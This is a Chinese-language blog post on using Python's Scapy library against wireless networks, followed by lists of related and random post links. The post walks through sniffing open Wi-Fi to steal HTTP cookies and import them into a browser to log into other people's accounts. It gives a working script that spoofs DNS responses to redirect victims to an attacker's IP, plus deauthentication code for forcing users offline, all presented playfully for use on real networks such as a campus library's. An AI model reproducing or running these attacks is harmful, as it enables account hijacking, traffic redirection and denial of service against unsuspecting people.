Scapy

又是scapy,这是python的一个网络编程方面的库,它在wlan中也有很强大的应用。一般我们买块网卡,然后aircrack-ng套件爆破一下邻居的密码,其实我们可以用scapy写一些有意思的东西。

IEEE802.11

简述

这是WLAN的协议族,有80211b/g/n等等,协议中规定了不同类型的帧(也就是包的类型),分为数据帧、控制帧、管理帧。

控制帧是用来协调信道等提升数据通信可靠性的。

管理帧用来监督、管理加入和退出无线网络的包。

数据帧就是承载上层数据的包。

关系

这些帧和scapy中的数据包类的对应关系为:

Dot11                   三种帧通用的部分

Dot11Beacon        Beacon帧,ap用它来宣誓自己的存在

Dot11Elt               与Dot11Beacon一起出现,承载beacon帧中的数据

Dot11AssoReq     Association Request

Dot11AssoResp   Association Response

Dot11ProbeReq   Probe request

Dot11ProbeResp  Probe response

Dot11ReassoReq  ReassociationRequest

Dot11ReassoResp  ReassociationResponse   以上六个都是用来管理station和ap之间关系的管理帧

Dot11Auth            Authentication 申请认证身份

Dot11Deauth        Deauthentication  解除认证,可以用来dos攻击

Dot11WEP           无线链路承载的上层数据被加密后,放在这里

常见的样子(summary)

Beacon帧:

RadioTap / 802.11 Management 8L 11:11:11:11:11:11 > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID=’CMCC-EDU’ / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt

加密后的上层数据:

RadioTap / 802.11 Data 0L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11WEP

Deauth帧,用来把别人打掉线,很好用:

RadioTap / 802.11 Management 12L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11Deauth

未加密的数据帧,开放的wifi里的明文密码就在你的身边划过:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / IP / TCP 10.181.5.237:57556 > 124.116.181.82:http A / Padding

握手包,使用EAPOL协议:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / EAPOL EAPOL-Key / Raw / Padding

踩过的坑

系统环境

之前一直喜欢用kali,在优化代码的过程中发现嗅探无线数据包的时候,使用filter参数不能成功过滤到未加密的IP数据包(filter=’ip’)。

各种排查最后发现是操作系统的问题,在新装好的kali里也会出问题,但在ubuntu里是没有问题的。

无线环境

平时玩无线的时候当然想一上来看看赤裸的明文数据包,但有时候明明有开放的wifi,却一点明文数据包都抓不到。

受限于硬件,能处理数据包的速率是有限的,如果你周围非常多加密的wifi,很可能网卡就被Beacon帧和各种控制帧淹没了。

所以可以找一个开放wifi多的地方玩,学校图书馆就不错,我们无线校园网都是不加密的嘿嘿。

usb无线网卡

我买的网卡基本都是8187芯片的,淘宝京东都有,想挑一挑可以看看aircrack-ng的官网里的推荐。

天线的水很深啊,最好先买块便宜的玩玩再说。

先看看别人的cookie

scapy_http

这里又要介绍一个包啦,scapy_http是scapy的一个扩展。

平时我们抓到的包都是IP / TCP / Raw 这样的层次,对http协议的处理很不方便。

scapy_http增加了HTTP、HTTPRequest、HTTPResponse层。

pip安装就可以,import scapy_http.http as HTTP 在scapy之后导入就好。

嗅探

  sniff(iface='mon0', prn=lambda x:x.summary(), filter='tcp[13:1]==24')

过滤得到tcp flags为 PA的数据包,可以得到类似这样的结果

里面满满的都是信息

for i in b:
print i.Host + i.Path
  print i.Cookie
print '======================================='

先直观的看一眼

有很多app后台的请求,可以收集大量的数据包,然后过滤自己喜欢的host

然后把cookie转换成chrome接收的json形式,直接导入就可以登录别人的账号啦。

DNS MOST攻击

MOST

MITM(man-in-the-middle)我们经常听到,还有另一种man-on-the-side攻击方法,攻击者通过监听信道,通过时间差注入数据。

还可以用来DDOS,嘿嘿

开放wlan中的DNS MOST

想要进行这种攻击,首先要监听信道,上面嗅探cookie已经说明这可以很容易做到。

然后是通过时间差注入,也就是我们要构造恶意的DNS响应包,并在服务器响应前将其返回给客户端

最后可以做到dns劫持一样的效果。

如何构造恶意dns响应

首先要想的是如何让客户端(在没有IDS的情况下)认为我构造的数据包就是服务器返回给他的。

也就是最基本的:

1. dns协议中的id段要从嗅探道的dns请求中取出来,并放到dns响应中去。

2. 其次是scapy中dns响应包的构造,返回自己服务器的ip。

3. dns请求的IP层的源端口目的端口、源ip目的ip都要交换

4. 80211协议层中的FCfield改为2,意为from-DS,也就是ap发送给station的数据包。

代码

from scapy.all import *

snif_iface = 'mon0'
recv_iface = 'mon0'
cheat_ip = '1.1.1.1' def prn(pkt):
    resp = RadioTap()/Dot11()/LLC()/SNAP()/IP()/UDP(sport=53)/DNS(qr=1,ra=1,ancount=1)     #取出DNS协议层的id
    resp[DNS].id = pkt[DNS].id
    #构造DNS数据层
    resp.qd = pkt.qd
    resp[DNS].an = DNSRR(rrname=pkt.qd.name, type='A', rclass='IN',
                         rdata=cheat_ip)     #交换各地址及端口
    resp.FCfield = 2L
    resp.addr1, resp.addr2, resp.addr3 = pkt.addr2, pkt.addr1, pkt.addr3
    resp.src, resp.dst = pkt.dst, pkt.src
    resp.dport = pkt.sport     sendp(resp, iface=send_iface, verbose=False, count=10)
    print 'send response to %s for %s'%(resp.dst, resp.qd.qname) if __name__ == '__main__':
    sniff(prn=prn, filter='udp dst port 53', iface=snif_iface)

需要注意

1.  监听的网卡和注入数据包的网卡可以不是同一张,效率会更高

2. 过滤时使用filter参数效率会高很多很多,因为是在内核层面的过滤,使用BPF语法

3. sendp发包函数在链路层上发送数据,所以我们可以自定义80211的数据包。

4. sendp在发送的时候会自动计算好各协议层的校验和,如果你想resp = req.copy()这样构造响应包,一定要注意把各层的长度和校验和设置为None,让它在发送的时候重新计算,不然这个数据包是畸形的。我也写了用copy构造的脚本,但应该贴出的代码的行数更少一些。

5. 两块网卡都要设置在monitor监听模式,具体用airmon-ng等开启监听模式就不赘述了,但一定要注意network-manager、networking等服务对网卡的影响,必要时一定要stop。

最后如何把别人打掉线

Deauthentication帧

这是ap和station中用于中断连接用的帧,而且没有对数据包的来源进行验证。

所以我们可以用它来强制别人掉线,而且还挺不好防的嘿嘿(或者把我笔记本摔掉

代码

pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
sendp(pkt1)
sendp(pkt2)

可以先拿自己的手机试一下

其实aireplay -0 1 -a ap_mac -c client_mac iface 也是使用的deauth dos攻击迫使client重连获取握手包

scapy在wlan中的应用的更多相关文章

  1. Python中Scapy网络嗅探模块的使用

    目录 Scapy scapy的安装和使用 发包 发包和收包 抓包 将抓取到的数据包保存 查看抓取到的数据包 格式化输出 过滤抓包 Scapy scapy是python中一个可用于网络嗅探的非常强大的第 ...

  2. WiFi与WLAN的区别

    很多人到了某一个地方首选要找的就是无线网络,有时候还会问周围的人:这里有WiFi吗?或者说:这里有WLAN吗?那WiFi和WLAN有什么区别呢? 简单来讲,WiFi是无线保真(wireless fid ...

  3. 【移动开发】Android中WIFI开发总结(一)

     WIFI就是一种无线联网技术,常见的是使用无线路由器.那么在这个无线路由器的信号覆盖的范围内都可以采用WIFI连接的方式进行联网.如果无线路由器连接了一个ADSL线路或其他的联网线路,则又被称为“热 ...

  4. WLAN和WIFI的区别

    在刚刚为大家介绍的wifi上网是什么意思?文章中为大家介绍了什么wifi无线上网,但大家可能会有这样的疑问,听说最多的应该是WLAN无线上网,很多笔记本电脑使用的都是WLAN无线上网,那么wlan和w ...

  5. 自学Aruba3.1-Aruba配置架构-WLAN配置架构

    点击返回:自学Aruba之路 自学Aruba3.1-Aruba配置架构- WLAN配置架构  WLAN配置架构 1. AP group : Aruba无线控制器通过AP Group来构建无线网络配置参 ...

  6. scapy学习笔记(2)--包及包的定义

    转载请注明:@小五义:http://www.cnblogs/xiaowuyi 一.包 包(Packet)是TCP/IP协议通信传输中的数据单位,一般也称“数据包”.其主要由“目的IP地址”.“源IP地 ...

  7. 无线局域网中RADIUS协议原理与实现

    转载自:http://blog.csdn.net/jinhill/article/details/5901042 摘要  RADIUS协议是一个被广泛应用于网络认证.授权和计费的协议.本文在介绍了RA ...

  8. scapy学习笔记(2)

    一.包 包(Packet)是TCP/IP协议通信传输中的数据单位,一般也称“数据包”.其主要由“目的IP地址”.“源IP地址”.“净载数据”等部分构成,包括包头和包体,包头是固定长度,包体的长度不定, ...

  9. 无线网络中的MAC协议(1)

    前文我们对传统的有线网络的MAC协议进行了分析,接下来我们在对无线网络的MAC也进行一个详细的介绍.那么无线网络中的MAC工作方式是如何的呢?无线局域网(WLAN)中MAC所对应的标准为IEEE 80 ...

随机推荐

  1. MySQL 资料库概论与MySQL 安装

    本文来自:https://www.breakyizhan.com/sql/5648.html 1. 储存与管理资料 储存与管理资料一直是资讯应用上最基本.也是最常见的技术.在还没有使用电脑来管理你的资 ...

  2. phpstorm设置方法头信息备注

    一.目标,如下图,希望在方法上增加如下头信息备注 二.设置live template: 三.增加方法头信息备注,如下所示: * created by ${USER} at ${DATE} ${TIME ...

  3. Linux服务器的弱口令检测及端口扫描

    一.弱口令检测--John the Ripper John the Ripper工具可以帮助我们扫描出系统中密码安全性较低的用户,并将扫描后的结果显示出来. 1.安装John the Ripper: ...

  4. I2C驱动框架(四)

    参考:I2C子系统之platform_driver初始化——I2C_adap_s3c_init() 在完成platform_device的添加之后,i2c子系统将进行platform_driver的注 ...

  5. 水题:UVa253-Cube painting

    Cube painting We have a machine for painting cubes. It is supplied with three different colors: blue ...

  6. PAT Basic 1053

    1053 住房空置率 在不打扰居民的前提下,统计住房空置率的一种方法是根据每户用电量的连续变化规律进行判断.判断方法如下: 在观察期内,若存在超过一半的日子用电量低于某给定的阈值 e,则该住房为“可能 ...

  7. Android 8.0 adb shell dumpsys activity activities | findstr mFocusedActivity 获取当前的 activity 显示空的

    adb shell dumpsys activity activities | findstr mFocusedActivity Android 7.0 现象: Android 8.0 现象: 改用: ...

  8. luogu3231 [HNOI2013]消毒

    前置技能:poj3041 如果是二维平面有一些方块,这些方块被染了黑色,你每次可以选择 \((x,y)\) 的区域染成白色,代价是 \(\min(x,y)\),问你付出的最小代价 显然我们不会这么染 ...

  9. CSAPP学习笔记—虚拟内存

    CSAPP学习笔记—虚拟内存 符号说明 虚拟内存地址寻址 图9-12展示了MMU如何利用页表来实现这种映射.CPU中的一个控制寄存器,页表基址寄存器(Page Table Base Register, ...

  10. 连通 OR 不连通(NOJ 1044)

    比赛描述 给定一个无向图,一共n个点,请编写一个程序实现两种操作: D x y 从原图中删除连接x,y节点的边. Q x y 询问x,y节点是否连通 输入 第一行两个数n,m(5<=n<= ...